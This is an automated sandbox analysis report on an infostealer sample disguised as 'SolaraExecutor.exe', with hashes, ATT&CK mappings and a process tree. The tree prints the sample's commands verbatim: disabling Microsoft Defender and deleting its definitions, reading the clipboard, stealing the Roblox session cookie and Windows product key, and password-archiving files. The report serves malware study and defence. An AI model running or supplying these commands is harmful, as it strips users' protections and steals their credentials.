c690e541d5759b5ba3221bf0758690518f9646ac3ca8dee09bc6e1fe11d010dc

Resubmissions

20/06/2026, 10:15

260620-mapfesfv8y

20/06/2026, 10:14

260620-l93xesfv7z10

Analysis

max time kernel
149s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 10:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SolaraExecutor.exe
Size 10.8MB
Sample260620-l93xesfv7z
SHA256 c690e541d5759b5ba3221bf0758690518f9646ac3ca8dee09bc6e1fe11d010dc
MD5 bb201cb590a8270cecb8beff2ec37539
SHA1 371e2d9e33db7ccdae87d467474e317572b54fda
SHA512 755913d4e327053414483d09c63e55b9a4a2c4ceaad972eb64867d67e15699ac7560bc04bd5337ee1cc2cc70652170d7ae2aae3d8347ce9cfeda262ad5ef3dcc
SSDEEP 196608:CD4qG99PMmxH6OJwVqiqpCJk/ksPgiggbrbBEmRoJEdAm75IvP05yR6HECVPna+5:QBG9dnas/ksY6rbBEmRLdbFIvPY7Hnl5
TLSH
T170B63300BB8518A9EAD2517EEC62C70BFAB278220B61DBDF573C52211E5B5D0073F766
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
1764	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5968	powershell.exe
3900	powershell.exe
5780	powershell.exe
1000	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3900	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1228	cmd.exe
1256	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3816	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe
4252	SolaraExecutor.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
1544	tasklist.exe
2124	tasklist.exe
252	tasklist.exe

UPX packed file 63 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5e6-35.dat	upx
behavioral2/memory/4252-39-0x00007FFFE9280000-0x00007FFFE998B000-memory.dmp	upx
behavioral2/files/0x000c00000001c5d4-41.dat	upx
behavioral2/files/0x000c00000001c5e3-43.dat	upx
behavioral2/memory/4252-44-0x00007FFFFC8C0000-0x00007FFFFC8E9000-memory.dmp	upx
behavioral2/memory/4252-46-0x00007FF800000000-0x00007FF80000F000-memory.dmp	upx
behavioral2/files/0x000c00000001c5d3-47.dat	upx
behavioral2/memory/4252-50-0x00007FFFFD3F0000-0x00007FFFFD40A000-memory.dmp	upx
behavioral2/files/0x000c00000001c5d7-49.dat	upx
behavioral2/memory/4252-53-0x00007FFFF4B70000-0x00007FFFF4B9C000-memory.dmp	upx
behavioral2/files/0x000c00000001c5df-54.dat	upx
behavioral2/memory/4252-55-0x00007FFFF48A0000-0x00007FFFF4920000-memory.dmp	upx
behavioral2/files/0x000c00000001c5da-56.dat	upx
behavioral2/files/0x000c00000001c5de-58.dat	upx
behavioral2/memory/4252-59-0x00007FFFFD440000-0x00007FFFFD44D000-memory.dmp	upx
behavioral2/memory/4252-62-0x00007FFFFBD40000-0x00007FFFFBD4F000-memory.dmp	upx
behavioral2/files/0x000c00000001c5d6-64.dat	upx
behavioral2/memory/4252-66-0x00007FFFFBC30000-0x00007FFFFBC44000-memory.dmp	upx
behavioral2/files/0x000c00000001c5e2-67.dat	upx
behavioral2/memory/4252-69-0x00007FFFE8D40000-0x00007FFFE9271000-memory.dmp	upx
behavioral2/files/0x000c00000001c5db-70.dat	upx
behavioral2/memory/4252-74-0x00007FFFFB6E0000-0x00007FFFFB6FA000-memory.dmp	upx
behavioral2/files/0x000c00000001c5dd-75.dat	upx
behavioral2/memory/4252-78-0x00007FFFF4B30000-0x00007FFFF4B64000-memory.dmp	upx
behavioral2/files/0x000c00000001c5e4-79.dat	upx
behavioral2/memory/4252-81-0x00007FFFF4790000-0x00007FFFF485E000-memory.dmp	upx
behavioral2/memory/4252-77-0x00007FFFFC8C0000-0x00007FFFFC8E9000-memory.dmp	upx
behavioral2/memory/4252-73-0x00007FFFE9280000-0x00007FFFE998B000-memory.dmp	upx
behavioral2/files/0x000c00000001c5dc-86.dat	upx
behavioral2/memory/4252-88-0x00007FFFF4760000-0x00007FFFF4786000-memory.dmp	upx
behavioral2/files/0x000c00000001c5f7-89.dat	upx
behavioral2/memory/4252-91-0x00007FFFE8BB0000-0x00007FFFE8D3A000-memory.dmp	upx
behavioral2/files/0x000c00000001c5f8-96.dat	upx
behavioral2/memory/4252-95-0x00007FFFF4AD0000-0x00007FFFF4ADD000-memory.dmp	upx
behavioral2/memory/4252-94-0x00007FFFF48A0000-0x00007FFFF4920000-memory.dmp	upx
behavioral2/files/0x000c00000001c5e9-93.dat	upx
behavioral2/memory/4252-98-0x00007FFFF46A0000-0x00007FFFF475E000-memory.dmp	upx
behavioral2/memory/4252-110-0x00007FFFFBD40000-0x00007FFFFBD4F000-memory.dmp	upx
behavioral2/memory/4252-115-0x00007FFFFBC30000-0x00007FFFFBC44000-memory.dmp	upx
behavioral2/memory/4252-122-0x00007FFFE8D40000-0x00007FFFE9271000-memory.dmp	upx
behavioral2/memory/4252-162-0x00007FFFF4B30000-0x00007FFFF4B64000-memory.dmp	upx
behavioral2/memory/4252-177-0x00007FFFF4790000-0x00007FFFF485E000-memory.dmp	upx
behavioral2/memory/4252-182-0x00007FFFF4760000-0x00007FFFF4786000-memory.dmp	upx
behavioral2/memory/4252-205-0x00007FFFE8BB0000-0x00007FFFE8D3A000-memory.dmp	upx
behavioral2/memory/4252-188-0x00007FFFE9280000-0x00007FFFE998B000-memory.dmp	upx
behavioral2/memory/4252-204-0x00007FFFF46A0000-0x00007FFFF475E000-memory.dmp	upx
behavioral2/memory/4252-210-0x00007FFFF4B70000-0x00007FFFF4B9C000-memory.dmp	upx
behavioral2/memory/4252-206-0x00007FFFE9280000-0x00007FFFE998B000-memory.dmp	upx
behavioral2/memory/4252-214-0x00007FFFFBC30000-0x00007FFFFBC44000-memory.dmp	upx
behavioral2/memory/4252-221-0x00007FFFF4AD0000-0x00007FFFF4ADD000-memory.dmp	upx
behavioral2/memory/4252-222-0x00007FFFF46A0000-0x00007FFFF475E000-memory.dmp	upx
behavioral2/memory/4252-220-0x00007FFFE8BB0000-0x00007FFFE8D3A000-memory.dmp	upx
behavioral2/memory/4252-218-0x00007FFFF4790000-0x00007FFFF485E000-memory.dmp	upx
behavioral2/memory/4252-219-0x00007FFFF4760000-0x00007FFFF4786000-memory.dmp	upx
behavioral2/memory/4252-217-0x00007FFFF4B30000-0x00007FFFF4B64000-memory.dmp	upx
behavioral2/memory/4252-216-0x00007FFFFB6E0000-0x00007FFFFB6FA000-memory.dmp	upx
behavioral2/memory/4252-215-0x00007FFFE8D40000-0x00007FFFE9271000-memory.dmp	upx
behavioral2/memory/4252-213-0x00007FFFFBD40000-0x00007FFFFBD4F000-memory.dmp	upx
behavioral2/memory/4252-212-0x00007FFFFD440000-0x00007FFFFD44D000-memory.dmp	upx
behavioral2/memory/4252-211-0x00007FFFF48A0000-0x00007FFFF4920000-memory.dmp	upx
behavioral2/memory/4252-209-0x00007FFFFD3F0000-0x00007FFFFD40A000-memory.dmp	upx
behavioral2/memory/4252-208-0x00007FF800000000-0x00007FF80000F000-memory.dmp	upx
behavioral2/memory/4252-207-0x00007FFFFC8C0000-0x00007FFFFC8E9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4536	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5376	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5968	powershell.exe
3900	powershell.exe
3900	powershell.exe
5968	powershell.exe
5968	powershell.exe
5612	WMIC.exe
5612	WMIC.exe
5612	WMIC.exe
5612	WMIC.exe
1256	powershell.exe
1256	powershell.exe
1256	powershell.exe
5780	powershell.exe
5780	powershell.exe
6028	powershell.exe
6028	powershell.exe
2020	WMIC.exe
2020	WMIC.exe
2020	WMIC.exe
2020	WMIC.exe
3012	WMIC.exe
3012	WMIC.exe
3012	WMIC.exe
3012	WMIC.exe
4700	WMIC.exe
4700	WMIC.exe
4700	WMIC.exe
4700	WMIC.exe
1000	powershell.exe
1000	powershell.exe
4536	WMIC.exe
4536	WMIC.exe
4536	WMIC.exe
4536	WMIC.exe
2488	powershell.exe
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5968	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	2124	tasklist.exe
Token: SeDebugPrivilege	1544	tasklist.exe
Token: SeDebugPrivilege	252	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5612	WMIC.exe
Token: SeSecurityPrivilege	5612	WMIC.exe
Token: SeTakeOwnershipPrivilege	5612	WMIC.exe
Token: SeLoadDriverPrivilege	5612	WMIC.exe
Token: SeSystemProfilePrivilege	5612	WMIC.exe
Token: SeSystemtimePrivilege	5612	WMIC.exe
Token: SeProfSingleProcessPrivilege	5612	WMIC.exe
Token: SeIncBasePriorityPrivilege	5612	WMIC.exe
Token: SeCreatePagefilePrivilege	5612	WMIC.exe
Token: SeBackupPrivilege	5612	WMIC.exe
Token: SeRestorePrivilege	5612	WMIC.exe
Token: SeShutdownPrivilege	5612	WMIC.exe
Token: SeDebugPrivilege	5612	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5612	WMIC.exe
Token: SeRemoteShutdownPrivilege	5612	WMIC.exe
Token: SeUndockPrivilege	5612	WMIC.exe
Token: SeManageVolumePrivilege	5612	WMIC.exe
Token: 33	5612	WMIC.exe
Token: 34	5612	WMIC.exe
Token: 35	5612	WMIC.exe
Token: 36	5612	WMIC.exe
Token: SeDebugPrivilege	1256	powershell.exe
Token: SeIncreaseQuotaPrivilege	5612	WMIC.exe
Token: SeSecurityPrivilege	5612	WMIC.exe
Token: SeTakeOwnershipPrivilege	5612	WMIC.exe
Token: SeLoadDriverPrivilege	5612	WMIC.exe
Token: SeSystemProfilePrivilege	5612	WMIC.exe
Token: SeSystemtimePrivilege	5612	WMIC.exe
Token: SeProfSingleProcessPrivilege	5612	WMIC.exe
Token: SeIncBasePriorityPrivilege	5612	WMIC.exe
Token: SeCreatePagefilePrivilege	5612	WMIC.exe
Token: SeBackupPrivilege	5612	WMIC.exe
Token: SeRestorePrivilege	5612	WMIC.exe
Token: SeShutdownPrivilege	5612	WMIC.exe
Token: SeDebugPrivilege	5612	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5612	WMIC.exe
Token: SeRemoteShutdownPrivilege	5612	WMIC.exe
Token: SeUndockPrivilege	5612	WMIC.exe
Token: SeManageVolumePrivilege	5612	WMIC.exe
Token: 33	5612	WMIC.exe
Token: 34	5612	WMIC.exe
Token: 35	5612	WMIC.exe
Token: 36	5612	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3900	powershell.exe
Token: SeSecurityPrivilege	3900	powershell.exe
Token: SeTakeOwnershipPrivilege	3900	powershell.exe
Token: SeLoadDriverPrivilege	3900	powershell.exe
Token: SeSystemProfilePrivilege	3900	powershell.exe
Token: SeSystemtimePrivilege	3900	powershell.exe
Token: SeProfSingleProcessPrivilege	3900	powershell.exe
Token: SeIncBasePriorityPrivilege	3900	powershell.exe
Token: SeCreatePagefilePrivilege	3900	powershell.exe
Token: SeBackupPrivilege	3900	powershell.exe
Token: SeRestorePrivilege	3900	powershell.exe
Token: SeShutdownPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeSystemEnvironmentPrivilege	3900	powershell.exe
Token: SeRemoteShutdownPrivilege	3900	powershell.exe
Token: SeUndockPrivilege	3900	powershell.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 4088 wrote to memory of 4252	4088	SolaraExecutor.exe	88
PID 4252 wrote to memory of 1940	4252	SolaraExecutor.exe	89
PID 4252 wrote to memory of 712	4252	SolaraExecutor.exe	90
PID 712 wrote to memory of 3900	712	cmd.exe	93
PID 1940 wrote to memory of 5968	1940	cmd.exe	94
PID 4252 wrote to memory of 5112	4252	SolaraExecutor.exe	95
PID 4252 wrote to memory of 5880	4252	SolaraExecutor.exe	96
PID 4252 wrote to memory of 5628	4252	SolaraExecutor.exe	99
PID 4252 wrote to memory of 2576	4252	SolaraExecutor.exe	101
PID 4252 wrote to memory of 1228	4252	SolaraExecutor.exe	100
PID 4252 wrote to memory of 4872	4252	SolaraExecutor.exe	102
PID 4252 wrote to memory of 5492	4252	SolaraExecutor.exe	106
PID 5880 wrote to memory of 2124	5880	cmd.exe	109
PID 5112 wrote to memory of 1544	5112	cmd.exe	110
PID 2576 wrote to memory of 252	2576	cmd.exe	111
PID 5628 wrote to memory of 5612	5628	cmd.exe	112
PID 1228 wrote to memory of 1256	1228	cmd.exe	113
PID 4872 wrote to memory of 3328	4872	cmd.exe	114
PID 5492 wrote to memory of 5376	5492	cmd.exe	116
PID 4252 wrote to memory of 5920	4252	SolaraExecutor.exe	117
PID 5920 wrote to memory of 1768	5920	cmd.exe	119
PID 4252 wrote to memory of 3868	4252	SolaraExecutor.exe	121
PID 3868 wrote to memory of 5128	3868	cmd.exe	123
PID 4252 wrote to memory of 4292	4252	SolaraExecutor.exe	124
PID 4292 wrote to memory of 4404	4292	cmd.exe	126
PID 4252 wrote to memory of 1464	4252	SolaraExecutor.exe	127
PID 1464 wrote to memory of 3992	1464	cmd.exe	129
PID 4252 wrote to memory of 2292	4252	SolaraExecutor.exe	130
PID 2292 wrote to memory of 4224	2292	cmd.exe	132
PID 712 wrote to memory of 1764	712	cmd.exe	133
PID 4252 wrote to memory of 5092	4252	SolaraExecutor.exe	134
PID 5092 wrote to memory of 4504	5092	cmd.exe	136
PID 4252 wrote to memory of 2140	4252	SolaraExecutor.exe	137
PID 2140 wrote to memory of 5780	2140	cmd.exe	139
PID 4252 wrote to memory of 2340	4252	SolaraExecutor.exe	140
PID 2340 wrote to memory of 6028	2340	cmd.exe	142
PID 4252 wrote to memory of 1360	4252	SolaraExecutor.exe	143
PID 1360 wrote to memory of 3816	1360	cmd.exe	145
PID 4252 wrote to memory of 1824	4252	SolaraExecutor.exe	146
PID 1824 wrote to memory of 2020	1824	cmd.exe	148
PID 4252 wrote to memory of 5796	4252	SolaraExecutor.exe	149
PID 5796 wrote to memory of 3012	5796	cmd.exe	151
PID 4252 wrote to memory of 720	4252	SolaraExecutor.exe	152
PID 720 wrote to memory of 4700	720	cmd.exe	154
PID 4252 wrote to memory of 2564	4252	SolaraExecutor.exe	155
PID 2564 wrote to memory of 1000	2564	cmd.exe	157
PID 4252 wrote to memory of 4556	4252	SolaraExecutor.exe	158
PID 4556 wrote to memory of 4536	4556	cmd.exe	160
PID 4252 wrote to memory of 1432	4252	SolaraExecutor.exe	161
PID 1432 wrote to memory of 2488	1432	cmd.exe	163

C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe
"C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4088
- C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraExecutor.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3900
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5880
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5628
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:5376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5920
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI40882\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\4Pldu.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Users\Admin\AppData\Local\Temp\_MEI40882\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI40882\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\4Pldu.zip" *
      4⤵
      Executes dropped EXE
      PID:3816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5796
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:720
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact